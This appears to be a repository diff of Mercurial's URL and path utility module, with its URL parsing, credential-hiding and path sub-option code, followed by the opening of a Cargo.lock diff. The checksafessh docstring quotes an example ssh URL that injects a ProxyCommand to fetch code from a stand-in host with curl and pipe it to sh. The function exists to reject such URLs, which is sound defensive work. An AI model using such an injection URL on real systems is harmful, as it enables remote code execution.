81 81 >>> url(b'ssh://[::1]:2200//home/joe/repo')
82 82 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
83 83 >>> url(b'file:///home/joe/repo')
84 84 <url scheme: 'file', path: '/home/joe/repo'>
85 85 >>> url(b'file:///c:/temp/foo/')
86 86 <url scheme: 'file', path: 'c:/temp/foo/'>
87 87 >>> url(b'bundle:foo')
88 88 <url scheme: 'bundle', path: 'foo'>
89 89 >>> url(b'bundle://../foo')
90 90 <url scheme: 'bundle', path: '../foo'>
91 91 >>> url(br'c:\foo\bar')
92 92 <url path: 'c:\\foo\\bar'>
93 93 >>> url(br'\\blah\blah\blah')
94 94 <url path: '\\\\blah\\blah\\blah'>
95 95 >>> url(br'\\blah\blah\blah#baz')
96 96 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
97 97 >>> url(br'file:///C:\users\me')
98 98 <url scheme: 'file', path: 'C:\\users\\me'>
99 99
100 100 Authentication credentials:
101 101
102 102 >>> url(b'ssh://joe:xyz@x/repo')
103 103 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
104 104 >>> url(b'ssh://joe@x/repo')
105 105 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
106 106
107 107 Query strings and fragments:
108 108
109 109 >>> url(b'http://host/a?b#c')
110 110 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
111 111 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
112 112 <url scheme: 'http', host: 'host', path: 'a?b#c'>
113 113
114 114 Empty path:
115 115
116 116 >>> url(b'')
117 117 <url path: ''>
118 118 >>> url(b'#a')
119 119 <url path: '', fragment: 'a'>
120 120 >>> url(b'http://host/')
121 121 <url scheme: 'http', host: 'host', path: ''>
122 122 >>> url(b'http://host/#a')
123 123 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
124 124
125 125 Only scheme:
126 126
127 127 >>> url(b'http:')
128 128 <url scheme: 'http'>
129 129 """
130 130
131 131 _safechars = b"!~*'()+"
132 132 _safepchars = b"/!~*'()+:\\"
133 133 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
134 134
135 135 def __init__(self, path, parsequery=True, parsefragment=True):
136 136 # type: (bytes, bool, bool) -> None
137 137 # We slowly chomp away at path until we have only the path left
138 138 self.scheme = self.user = self.passwd = self.host = None
139 139 self.port = self.path = self.query = self.fragment = None
140 140 self._localpath = True
141 141 self._hostport = b''
142 142 self._origpath = path
143 143
144 144 if parsefragment and b'#' in path:
145 145 path, self.fragment = path.split(b'#', 1)
146 146
147 147 # special case for Windows drive letters and UNC paths
148 148 if hasdriveletter(path) or path.startswith(b'\\\\'):
149 149 self.path = path
150 150 return
151 151
152 152 # For compatibility reasons, we can't handle bundle paths as
153 153 # normal URLS
154 154 if path.startswith(b'bundle:'):
155 155 self.scheme = b'bundle'
156 156 path = path[7:]
157 157 if path.startswith(b'//'):
158 158 path = path[2:]
159 159 self.path = path
160 160 return
161 161
162 162 if self._matchscheme(path):
163 163 parts = path.split(b':', 1)
164 164 if parts[0]:
165 165 self.scheme, path = parts
166 166 self._localpath = False
167 167
168 168 if not path:
169 169 path = None
170 170 if self._localpath:
171 171 self.path = b''
172 172 return
173 173 else:
174 174 if self._localpath:
175 175 self.path = path
176 176 return
177 177
178 178 if parsequery and b'?' in path:
179 179 path, self.query = path.split(b'?', 1)
180 180 if not path:
181 181 path = None
182 182 if not self.query:
183 183 self.query = None
184 184
185 185 # // is required to specify a host/authority
186 186 if path and path.startswith(b'//'):
187 187 parts = path[2:].split(b'/', 1)
188 188 if len(parts) > 1:
189 189 self.host, path = parts
190 190 else:
191 191 self.host = parts[0]
192 192 path = None
193 193 if not self.host:
194 194 self.host = None
195 195 # path of file:///d is /d
196 196 # path of file:///d:/ is d:/, not /d:/
197 197 if path and not hasdriveletter(path):
198 198 path = b'/' + path
199 199
200 200 if self.host and b'@' in self.host:
201 201 self.user, self.host = self.host.rsplit(b'@', 1)
202 202 if b':' in self.user:
203 203 self.user, self.passwd = self.user.split(b':', 1)
204 204 if not self.host:
205 205 self.host = None
206 206
207 207 # Don't split on colons in IPv6 addresses without ports
208 208 if (
209 209 self.host
210 210 and b':' in self.host
211 211 and not (
212 212 self.host.startswith(b'[') and self.host.endswith(b']')
213 213 )
214 214 ):
215 215 self._hostport = self.host
216 216 self.host, self.port = self.host.rsplit(b':', 1)
217 217 if not self.host:
218 218 self.host = None
219 219
220 220 if (
221 221 self.host
222 222 and self.scheme == b'file'
223 223 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
224 224 ):
225 225 raise error.Abort(
226 226 _(b'file:// URLs can only refer to localhost')
227 227 )
228 228
229 229 self.path = path
230 230
231 231 # leave the query string escaped
232 232 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
233 233 v = getattr(self, a)
234 234 if v is not None:
235 235 setattr(self, a, urlreq.unquote(v))
236 236
237 237 def copy(self):
238 238 u = url(b'temporary useless value')
239 239 u.path = self.path
240 240 u.scheme = self.scheme
241 241 u.user = self.user
242 242 u.passwd = self.passwd
243 243 u.host = self.host
244 244 u.path = self.path
245 245 u.query = self.query
246 246 u.fragment = self.fragment
247 247 u._localpath = self._localpath
248 248 u._hostport = self._hostport
249 249 u._origpath = self._origpath
250 250 return u
251 251
252 252 @encoding.strmethod
253 253 def __repr__(self):
254 254 attrs = []
255 255 for a in (
256 256 b'scheme',
257 257 b'user',
258 258 b'passwd',
259 259 b'host',
260 260 b'port',
261 261 b'path',
262 262 b'query',
263 263 b'fragment',
264 264 ):
265 265 v = getattr(self, a)
266 266 if v is not None:
267 267 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
268 268 return b'<url %s>' % b', '.join(attrs)
269 269
270 270 def __bytes__(self):
271 271 r"""Join the URL's components back into a URL string.
272 272
273 273 Examples:
274 274
275 275 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
276 276 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
277 277 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
278 278 'http://user:pw@host:80/?foo=bar&baz=42'
279 279 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
280 280 'http://user:pw@host:80/?foo=bar%3dbaz'
281 281 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
282 282 'ssh://user:pw@[::1]:2200//home/joe#'
283 283 >>> bytes(url(b'http://localhost:80//'))
284 284 'http://localhost:80//'
285 285 >>> bytes(url(b'http://localhost:80/'))
286 286 'http://localhost:80/'
287 287 >>> bytes(url(b'http://localhost:80'))
288 288 'http://localhost:80/'
289 289 >>> bytes(url(b'bundle:foo'))
290 290 'bundle:foo'
291 291 >>> bytes(url(b'bundle://../foo'))
292 292 'bundle:../foo'
293 293 >>> bytes(url(b'path'))
294 294 'path'
295 295 >>> bytes(url(b'file:///tmp/foo/bar'))
296 296 'file:///tmp/foo/bar'
297 297 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
298 298 'file:///c:/tmp/foo/bar'
299 299 >>> print(url(br'bundle:foo\bar'))
300 300 bundle:foo\bar
301 301 >>> print(url(br'file:///D:\data\hg'))
302 302 file:///D:\data\hg
303 303 """
304 304 if self._localpath:
305 305 s = self.path
306 306 if self.scheme == b'bundle':
307 307 s = b'bundle:' + s
308 308 if self.fragment:
309 309 s += b'#' + self.fragment
310 310 return s
311 311
312 312 s = self.scheme + b':'
313 313 if self.user or self.passwd or self.host:
314 314 s += b'//'
315 315 elif self.scheme and (
316 316 not self.path
317 317 or self.path.startswith(b'/')
318 318 or hasdriveletter(self.path)
319 319 ):
320 320 s += b'//'
321 321 if hasdriveletter(self.path):
322 322 s += b'/'
323 323 if self.user:
324 324 s += urlreq.quote(self.user, safe=self._safechars)
325 325 if self.passwd:
326 326 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
327 327 if self.user or self.passwd:
328 328 s += b'@'
329 329 if self.host:
330 330 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
331 331 s += urlreq.quote(self.host)
332 332 else:
333 333 s += self.host
334 334 if self.port:
335 335 s += b':' + urlreq.quote(self.port)
336 336 if self.host:
337 337 s += b'/'
338 338 if self.path:
339 339 # TODO: similar to the query string, we should not unescape the
340 340 # path when we store it, the path might contain '%2f' = '/',
341 341 # which we should *not* escape.
342 342 s += urlreq.quote(self.path, safe=self._safepchars)
343 343 if self.query:
344 344 # we store the query in escaped form.
345 345 s += b'?' + self.query
346 346 if self.fragment is not None:
347 347 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
348 348 return s
349 349
350 350 __str__ = encoding.strmethod(__bytes__)
351 351
352 352 def authinfo(self):
353 353 user, passwd = self.user, self.passwd
354 354 try:
355 355 self.user, self.passwd = None, None
356 356 s = bytes(self)
357 357 finally:
358 358 self.user, self.passwd = user, passwd
359 359 if not self.user:
360 360 return (s, None)
361 361 # authinfo[1] is passed to urllib2 password manager, and its
362 362 # URIs must not contain credentials. The host is passed in the
363 363 # URIs list because Python < 2.4.3 uses only that to search for
364 364 # a password.
365 365 return (s, (None, (s, self.host), self.user, self.passwd or b''))
366 366
367 367 def isabs(self):
368 368 if self.scheme and self.scheme != b'file':
369 369 return True # remote URL
370 370 if hasdriveletter(self.path):
371 371 return True # absolute for our purposes - can't be joined()
372 372 if self.path.startswith(br'\\'):
373 373 return True # Windows UNC path
374 374 if self.path.startswith(b'/'):
375 375 return True # POSIX-style
376 376 return False
377 377
378 378 def localpath(self):
379 379 # type: () -> bytes
380 380 if self.scheme == b'file' or self.scheme == b'bundle':
381 381 path = self.path or b'/'
382 382 # For Windows, we need to promote hosts containing drive
383 383 # letters to paths with drive letters.
384 384 if hasdriveletter(self._hostport):
385 385 path = self._hostport + b'/' + self.path
386 386 elif (
387 387 self.host is not None and self.path and not hasdriveletter(path)
388 388 ):
389 389 path = b'/' + path
390 390 return path
391 391 return self._origpath
392 392
393 393 def islocal(self):
394 394 '''whether localpath will return something that posixfile can open'''
395 395 return (
396 396 not self.scheme
397 397 or self.scheme == b'file'
398 398 or self.scheme == b'bundle'
399 399 )
400 400
401 401
402 402 def hasscheme(path):
403 403 # type: (bytes) -> bool
404 404 return bool(url(path).scheme) # cast to help pytype
405 405
406 406
407 407 def hasdriveletter(path):
408 408 # type: (bytes) -> bool
409 409 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
410 410
411 411
412 412 def urllocalpath(path):
413 413 # type: (bytes) -> bytes
414 414 return url(path, parsequery=False, parsefragment=False).localpath()
415 415
416 416
417 417 def checksafessh(path):
418 418 # type: (bytes) -> None
419 419 """check if a path / url is a potentially unsafe ssh exploit (SEC)
420 420
421 421 This is a sanity check for ssh urls. ssh will parse the first item as
422 422 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
423 423 Let's prevent these potentially exploited urls entirely and warn the
424 424 user.
425 425
426 426 Raises an error.Abort when the url is unsafe.
427 427 """
428 428 path = urlreq.unquote(path)
429 429 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
430 430 raise error.Abort(
431 431 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
432 432 )
433 433
434 434
435 435 def hidepassword(u):
436 436 # type: (bytes) -> bytes
437 437 '''hide user credential in a url string'''
438 438 u = url(u)
439 439 if u.passwd:
440 440 u.passwd = b'***'
441 441 return bytes(u)
442 442
443 443
444 444 def removeauth(u):
445 445 # type: (bytes) -> bytes
446 446 '''remove all authentication information from a url string'''
447 447 u = url(u)
448 448 u.user = u.passwd = None
449 449 return bytes(u)
450 450
451 451
452 452 def list_paths(ui, target_path=None):
453 453 """list all the (name, paths) in the passed ui"""
454 454 result = []
455 455 if target_path is None:
456 456 for name, paths in sorted(pycompat.iteritems(ui.paths)):
457 457 for p in paths:
458 458 result.append((name, p))
459 459
460 460 else:
461 461 for path in ui.paths.get(target_path, []):
462 462 result.append((target_path, path))
463 463 return result
464 464
465 465
466 466 def try_path(ui, url):
467 467 """try to build a path from a url
468 468
469 469 Return None if no Path could built.
470 470 """
471 471 try:
472 472 # we pass the ui instance are warning might need to be issued
473 473 return path(ui, None, rawloc=url)
474 474 except ValueError:
475 475 return None
476 476
477 477
478 478 def get_push_paths(repo, ui, dests):
479 479 """yields all the `path` selected as push destination by `dests`"""
480 480 if not dests:
481 481 if b'default-push' in ui.paths:
482 482 for p in ui.paths[b'default-push']:
483 483 yield p
484 484 elif b'default' in ui.paths:
485 485 for p in ui.paths[b'default']:
486 486 yield p
487 487 else:
488 488 raise error.ConfigError(
489 489 _(b'default repository not configured!'),
490 490 hint=_(b"see 'hg help config.paths'"),
491 491 )
492 492 else:
493 493 for dest in dests:
494 494 if dest in ui.paths:
495 495 for p in ui.paths[dest]:
496 496 yield p
497 497 else:
498 498 path = try_path(ui, dest)
499 499 if path is None:
500 500 msg = _(b'repository %s does not exist')
501 501 msg %= dest
502 502 raise error.RepoError(msg)
503 503 yield path
504 504
505 505
506 506 def get_pull_paths(repo, ui, sources):
507 507 """yields all the `(path, branch)` selected as pull source by `sources`"""
508 508 if not sources:
509 509 sources = [b'default']
510 510 for source in sources:
511 511 if source in ui.paths:
512 512 for p in ui.paths[source]:
513 513 yield p
514 514 else:
515 515 p = path(ui, None, source, validate_path=False)
516 516 yield p
517 517
518 518
519 519 def get_unique_push_path(action, repo, ui, dest=None):
520 520 """return a unique `path` or abort if multiple are found
521 521
522 522 This is useful for command and action that does not support multiple
523 523 destination (yet).
524 524
525 525 Note that for now, we cannot get multiple destination so this function is "trivial".
526 526
527 527 The `action` parameter will be used for the error message.
528 528 """
529 529 if dest is None:
530 530 dests = []
531 531 else:
532 532 dests = [dest]
533 533 dests = list(get_push_paths(repo, ui, dests))
534 534 if len(dests) != 1:
535 535 if dest is None:
536 536 msg = _(
537 537 b"default path points to %d urls while %s only supports one"
538 538 )
539 539 msg %= (len(dests), action)
540 540 else:
541 541 msg = _(b"path points to %d urls while %s only supports one: %s")
542 542 msg %= (len(dests), action, dest)
543 543 raise error.Abort(msg)
544 544 return dests[0]
545 545
546 546
547 547 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
548 548 """return a unique `(path, branch)` or abort if multiple are found
549 549
550 550 This is useful for command and action that does not support multiple
551 551 destination (yet).
552 552
553 553 Note that for now, we cannot get multiple destination so this function is "trivial".
554 554
555 555 The `action` parameter will be used for the error message.
556 556 """
557 557 urls = []
558 558 if source is None:
559 559 if b'default' in ui.paths:
560 560 urls.extend(p.rawloc for p in ui.paths[b'default'])
561 561 else:
562 562 # XXX this is the historical default behavior, but that is not
563 563 # great, consider breaking BC on this.
564 564 urls.append(b'default')
565 565 else:
566 566 if source in ui.paths:
567 567 urls.extend(p.rawloc for p in ui.paths[source])
568 568 else:
569 569 # Try to resolve as a local path or URI.
570 570 path = try_path(ui, source)
571 571 if path is not None:
572 572 urls.append(path.rawloc)
573 573 else:
574 574 urls.append(source)
575 575 if len(urls) != 1:
576 576 if source is None:
577 577 msg = _(
578 578 b"default path points to %d urls while %s only supports one"
579 579 )
580 580 msg %= (len(urls), action)
581 581 else:
582 582 msg = _(b"path points to %d urls while %s only supports one: %s")
583 583 msg %= (len(urls), action, source)
584 584 raise error.Abort(msg)
585 585 return parseurl(urls[0], default_branches)
586 586
587 587
588 588 def get_clone_path(ui, source, default_branches=()):
589 589 """return the `(origsource, path, branch)` selected as clone source"""
590 590 urls = []
591 591 if source is None:
592 592 if b'default' in ui.paths:
593 593 urls.extend(p.rawloc for p in ui.paths[b'default'])
594 594 else:
595 595 # XXX this is the historical default behavior, but that is not
596 596 # great, consider breaking BC on this.
597 597 urls.append(b'default')
598 598 else:
599 599 if source in ui.paths:
600 600 urls.extend(p.rawloc for p in ui.paths[source])
601 601 else:
602 602 # Try to resolve as a local path or URI.
603 603 path = try_path(ui, source)
604 604 if path is not None:
605 605 urls.append(path.rawloc)
606 606 else:
607 607 urls.append(source)
608 608 if len(urls) != 1:
609 609 if source is None:
610 610 msg = _(
611 611 b"default path points to %d urls while only one is supported"
612 612 )
613 613 msg %= len(urls)
614 614 else:
615 615 msg = _(b"path points to %d urls while only one is supported: %s")
616 616 msg %= (len(urls), source)
617 617 raise error.Abort(msg)
618 618 url = urls[0]
619 619 clone_path, branch = parseurl(url, default_branches)
620 620 return url, clone_path, branch
621 621
622 622
623 623 def parseurl(path, branches=None):
624 624 '''parse url#branch, returning (url, (branch, branches))'''
625 625 u = url(path)
626 626 branch = None
627 627 if u.fragment:
628 628 branch = u.fragment
629 629 u.fragment = None
630 630 return bytes(u), (branch, branches or [])
631 631
632 632
633 633 class paths(dict):
634 634 """Represents a collection of paths and their configs.
635 635
636 636 Data is initially derived from ui instances and the config files they have
637 637 loaded.
638 638 """
639 639
640 640 def __init__(self, ui):
641 641 dict.__init__(self)
642 642
643 643 home_path = os.path.expanduser(b'~')
644 644
645 645 for name, value in ui.configitems(b'paths', ignoresub=True):
646 646 # No location is the same as not existing.
647 647 if not value:
648 648 continue
649 649 _value, sub_opts = ui.configsuboptions(b'paths', name)
650 650 s = ui.configsource(b'paths', name)
651 651 root_key = (name, value, s)
652 652 root = ui._path_to_root.get(root_key, home_path)
653 653
654 654 multi_url = sub_opts.get(b'multi-urls')
655 655 if multi_url is not None and stringutil.parsebool(multi_url):
656 656 base_locs = stringutil.parselist(value)
657 657 else:
658 658 base_locs = [value]
659 659
660 660 paths = []
661 661 for loc in base_locs:
662 662 loc = os.path.expandvars(loc)
663 663 loc = os.path.expanduser(loc)
664 664 if not hasscheme(loc) and not os.path.isabs(loc):
665 665 loc = os.path.normpath(os.path.join(root, loc))
666 666 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
667 667 paths.append(p)
668 668 self[name] = paths
669 669
670 670 for name, old_paths in sorted(self.items()):
671 671 new_paths = []
672 672 for p in old_paths:
673 673 new_paths.extend(_chain_path(p, ui, self))
674 674 self[name] = new_paths
675 675
676 676 def getpath(self, ui, name, default=None):
677 677 """Return a ``path`` from a string, falling back to default.
678 678
679 679 ``name`` can be a named path or locations. Locations are filesystem
680 680 paths or URIs.
681 681
682 682 Returns None if ``name`` is not a registered path, a URI, or a local
683 683 path to a repo.
684 684 """
685 685 msg = b'getpath is deprecated, use `get_*` functions from urlutil'
686 686 ui.deprecwarn(msg, b'6.0')
687 687 # Only fall back to default if no path was requested.
688 688 if name is None:
689 689 if not default:
690 690 default = ()
691 691 elif not isinstance(default, (tuple, list)):
692 692 default = (default,)
693 693 for k in default:
694 694 try:
695 695 return self[k][0]
696 696 except KeyError:
697 697 continue
698 698 return None
699 699
700 700 # Most likely empty string.
701 701 # This may need to raise in the future.
702 702 if not name:
703 703 return None
704 704 if name in self:
705 705 return self[name][0]
706 706 else:
707 707 # Try to resolve as a local path or URI.
708 708 path = try_path(ui, name)
709 709 if path is None:
710 710 raise error.RepoError(_(b'repository %s does not exist') % name)
711 711 return path.rawloc
712 712
713 713
714 714 _pathsuboptions = {}
715 715
716 716
717 717 def pathsuboption(option, attr):
718 718 """Decorator used to declare a path sub-option.
719 719
720 720 Arguments are the sub-option name and the attribute it should set on
721 721 ``path`` instances.
722 722
723 723 The decorated function will receive as arguments a ``ui`` instance,
724 724 ``path`` instance, and the string value of this option from the config.
725 725 The function should return the value that will be set on the ``path``
726 726 instance.
727 727
728 728 This decorator can be used to perform additional verification of
729 729 sub-options and to change the type of sub-options.
730 730 """
731 731
732 732 def register(func):
733 733 _pathsuboptions[option] = (attr, func)
734 734 return func
735 735
736 736 return register
737 737
738 738
739 739 @pathsuboption(b'pushurl', b'pushloc')
740 740 def pushurlpathoption(ui, path, value):
741 741 u = url(value)
742 742 # Actually require a URL.
743 743 if not u.scheme:
744 744 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
745 745 msg %= (path.name, value)
746 746 ui.warn(msg)
747 747 return None
748 748
749 749 # Don't support the #foo syntax in the push URL to declare branch to
750 750 # push.
751 751 if u.fragment:
752 752 ui.warn(
753 753 _(
754 754 b'("#fragment" in paths.%s:pushurl not supported; '
755 755 b'ignoring)\n'
756 756 )
757 757 % path.name
758 758 )
759 759 u.fragment = None
760 760
761 761 return bytes(u)
762 762
763 763
764 764 @pathsuboption(b'pushrev', b'pushrev')
765 765 def pushrevpathoption(ui, path, value):
766 766 return value
767 767
768 768
769 769 SUPPORTED_BOOKMARKS_MODES = {
770 770 b'default',
771 771 b'mirror',
772 b'ignore',
772 773 }
773 774
774 775
775 776 @pathsuboption(b'bookmarks.mode', b'bookmarks_mode')
776 777 def bookmarks_mode_option(ui, path, value):
777 778 if value not in SUPPORTED_BOOKMARKS_MODES:
778 779 path_name = path.name
779 780 if path_name is None:
780 781 # this is an "anonymous" path, config comes from the global one
781 782 path_name = b'*'
782 783 msg = _(b'(paths.%s:bookmarks.mode has unknown value: "%s")\n')
783 784 msg %= (path_name, value)
784 785 ui.warn(msg)
785 786 if value == b'default':
786 787 value = None
787 788 return value
788 789
789 790
790 791 @pathsuboption(b'multi-urls', b'multi_urls')
791 792 def multiurls_pathoption(ui, path, value):
792 793 res = stringutil.parsebool(value)
793 794 if res is None:
794 795 ui.warn(
795 796 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
796 797 )
797 798 res = False
798 799 return res
799 800
800 801
801 802 def _chain_path(base_path, ui, paths):
802 803 """return the result of "path://" logic applied on a given path"""
803 804 new_paths = []
804 805 if base_path.url.scheme != b'path':
805 806 new_paths.append(base_path)
806 807 else:
807 808 assert base_path.url.path is None
808 809 sub_paths = paths.get(base_path.url.host)
809 810 if sub_paths is None:
810 811 m = _(b'cannot use `%s`, "%s" is not a known path')
811 812 m %= (base_path.rawloc, base_path.url.host)
812 813 raise error.Abort(m)
813 814 for subpath in sub_paths:
814 815 path = base_path.copy()
815 816 if subpath.raw_url.scheme == b'path':
816 817 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
817 818 m %= (path.rawloc, path.url.host)
818 819 raise error.Abort(m)
819 820 path.url = subpath.url
820 821 path.rawloc = subpath.rawloc
821 822 path.loc = subpath.loc
822 823 if path.branch is None:
823 824 path.branch = subpath.branch
824 825 else:
825 826 base = path.rawloc.rsplit(b'#', 1)[0]
826 827 path.rawloc = b'%s#%s' % (base, path.branch)
827 828 suboptions = subpath._all_sub_opts.copy()
828 829 suboptions.update(path._own_sub_opts)
829 830 path._apply_suboptions(ui, suboptions)
830 831 new_paths.append(path)
831 832 return new_paths
832 833
833 834
834 835 class path(object):
835 836 """Represents an individual path and its configuration."""
836 837
837 838 def __init__(
838 839 self,
839 840 ui=None,
840 841 name=None,
841 842 rawloc=None,
842 843 suboptions=None,
843 844 validate_path=True,
844 845 ):
845 846 """Construct a path from its config options.
846 847
847 848 ``ui`` is the ``ui`` instance the path is coming from.
848 849 ``name`` is the symbolic name of the path.
849 850 ``rawloc`` is the raw location, as defined in the config.
850 851 ``pushloc`` is the raw locations pushes should be made to.
851 852
852 853 If ``name`` is not defined, we require that the location be a) a local
853 854 filesystem path with a .hg directory or b) a URL. If not,
854 855 ``ValueError`` is raised.
855 856 """
856 857 if ui is None:
857 858 # used in copy
858 859 assert name is None
859 860 assert rawloc is None
860 861 assert suboptions is None
861 862 return
862 863
863 864 if not rawloc:
864 865 raise ValueError(b'rawloc must be defined')
865 866
866 867 # Locations may define branches via syntax <base>#<branch>.
867 868 u = url(rawloc)
868 869 branch = None
869 870 if u.fragment:
870 871 branch = u.fragment
871 872 u.fragment = None
872 873
873 874 self.url = u
874 875 # the url from the config/command line before dealing with `path://`
875 876 self.raw_url = u.copy()
876 877 self.branch = branch
877 878
878 879 self.name = name
879 880 self.rawloc = rawloc
880 881 self.loc = b'%s' % u
881 882
882 883 if validate_path:
883 884 self._validate_path()
884 885
885 886 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
886 887 self._own_sub_opts = {}
887 888 if suboptions is not None:
888 889 self._own_sub_opts = suboptions.copy()
889 890 sub_opts.update(suboptions)
890 891 self._all_sub_opts = sub_opts.copy()
891 892
892 893 self._apply_suboptions(ui, sub_opts)
893 894
894 895 def copy(self):
895 896 """make a copy of this path object"""
896 897 new = self.__class__()
897 898 for k, v in self.__dict__.items():
898 899 new_copy = getattr(v, 'copy', None)
899 900 if new_copy is not None:
900 901 v = new_copy()
901 902 new.__dict__[k] = v
902 903 return new
903 904
904 905 def _validate_path(self):
905 906 # When given a raw location but not a symbolic name, validate the
906 907 # location is valid.
907 908 if (
908 909 not self.name
909 910 and not self.url.scheme
910 911 and not self._isvalidlocalpath(self.loc)
911 912 ):
912 913 raise ValueError(
913 914 b'location is not a URL or path to a local '
914 915 b'repo: %s' % self.rawloc
915 916 )
916 917
917 918 def _apply_suboptions(self, ui, sub_options):
918 919 # Now process the sub-options. If a sub-option is registered, its
919 920 # attribute will always be present. The value will be None if there
920 921 # was no valid sub-option.
921 922 for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions):
922 923 if suboption not in sub_options:
923 924 setattr(self, attr, None)
924 925 continue
925 926
926 927 value = func(ui, self, sub_options[suboption])
927 928 setattr(self, attr, value)
928 929
929 930 def _isvalidlocalpath(self, path):
930 931 """Returns True if the given path is a potentially valid repository.
931 932 This is its own function so that extensions can change the definition of
932 933 'valid' in this case (like when pulling from a git repo into a hg
933 934 one)."""
934 935 try:
935 936 return os.path.isdir(os.path.join(path, b'.hg'))
936 937 # Python 2 may return TypeError. Python 3, ValueError.
937 938 except (TypeError, ValueError):
938 939 return False
939 940
940 941 @property
941 942 def suboptions(self):
942 943 """Return sub-options and their values for this path.
943 944
944 945 This is intended to be used for presentation purposes.
945 946 """
946 947 d = {}
947 948 for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions):
948 949 value = getattr(self, attr)
949 950 if value is not None:
950 951 d[subopt] = value
951 952 return d
@@ -1,1083 +1,1081
1 1 # This file is automatically @generated by Cargo.
2 2 # It is not intended for manual editing.
3 version = 3
4
5 3 [[package]]
6 4 name = "adler"
7 5 version = "0.2.3"
8 6 source = "registry+https://github.com/rust-lang/crates.io-index"
9 7 checksum = "ee2a4ec343196209d6594e19543ae87a39f96d5534d7174822a3ad825dd6ed7e"
10 8
11 9 [[package]]
12 10 name = "aho-corasick"
13 11 version = "0.7.15"
14 12 source = "registry+https://github.com/rust-lang/crates.io-index"
15 13 checksum = "7404febffaa47dac81aa44dba71523c9d069b1bdc50a77db41195149e17f68e5"
16 14 dependencies = [
17 15 "memchr",
18 16 ]
19 17
20 18 [[package]]
21 19 name = "ansi_term"
22 20 version = "0.11.0"
23 21 source = "registry+https://github.com/rust-lang/crates.io-index"
24 22 checksum = "ee49baf6cb617b853aa8d93bf420db2383fab46d314482ca2803b40d5fde979b"
25 23 dependencies = [
26 24 "winapi",
27 25 ]
28 26
29 27 [[package]]
30 28 name = "atty"
31 29 version = "0.2.14"
32 30 source = "registry+https://github.com/rust-lang/crates.io-index"
33 31 checksum = "d9b39be18770d11421cdb1b9947a45dd3f37e93092cbf377614828a319d5fee8"
34 32 dependencies = [
35 33 "hermit-abi",
36 34 "libc",
37 35 "winapi",
38 36 ]
39 37
40 38 [[package]]
41 39 name = "autocfg"
42 40 version = "1.0.1"
43 41 source = "registry+https://github.com/rust-lang/crates.io-index"
44 42 checksum = "cdb031dd78e28731d87d56cc8ffef4a8f36ca26c38fe2de700543e627f8a464a"
45 43
46 44 [[package]]
47 45 name = "bitflags"
48 46 version = "1.2.1"
49 47 source = "registry+https://github.com/rust-lang/crates.io-index"
50 48 checksum = "cf1de2fe8c75bc145a2f577add951f8134889b4795d47466a54a5c846d691693"
51 49
52 50 [[package]]
53 51 name = "bitmaps"
54 52 version = "2.1.0"
55 53 source = "registry+https://github.com/rust-lang/crates.io-index"
56 54 checksum = "031043d04099746d8db04daf1fa424b2bc8bd69d92b25962dcde24da39ab64a2"
57 55 dependencies = [
58 56 "typenum",
59 57 ]
60 58
61 59 [[package]]
62 60 name = "block-buffer"
63 61 version = "0.9.0"
64 62 source = "registry+https://github.com/rust-lang/crates.io-index"
65 63 checksum = "4152116fd6e9dadb291ae18fc1ec3575ed6d84c29642d97890f4b4a3417297e4"
66 64 dependencies = [
67 65 "generic-array",
68 66 ]
69 67
70 68 [[package]]
71 69 name = "byteorder"
72 70 version = "1.3.4"
73 71 source = "registry+https://github.com/rust-lang/crates.io-index"
74 72 checksum = "08c48aae112d48ed9f069b33538ea9e3e90aa263cfa3d1c24309612b1f7472de"
75 73
76 74 [[package]]
77 75 name = "bytes-cast"
78 76 version = "0.2.0"
79 77 source = "registry+https://github.com/rust-lang/crates.io-index"
80 78 checksum = "0d434f9a4ecbe987e7ccfda7274b6f82ea52c9b63742565a65cb5e8ba0f2c452"
81 79 dependencies = [
82 80 "bytes-cast-derive",
83 81 ]
84 82
85 83 [[package]]
86 84 name = "bytes-cast-derive"
87 85 version = "0.1.0"
88 86 source = "registry+https://github.com/rust-lang/crates.io-index"
89 87 checksum = "cb936af9de38476664d6b58e529aff30d482e4ce1c5e150293d00730b0d81fdb"
90 88 dependencies = [
91 89 "proc-macro2",
92 90 "quote",
93 91 "syn",
94 92 ]
95 93
96 94 [[package]]
97 95 name = "cc"
98 96 version = "1.0.66"
99 97 source = "registry+https://github.com/rust-lang/crates.io-index"
100 98 checksum = "4c0496836a84f8d0495758516b8621a622beb77c0fed418570e50764093ced48"
101 99 dependencies = [
102 100 "jobserver",
103 101 ]
104 102
105 103 [[package]]
106 104 name = "cfg-if"
107 105 version = "0.1.10"
108 106 source = "registry+https://github.com/rust-lang/crates.io-index"
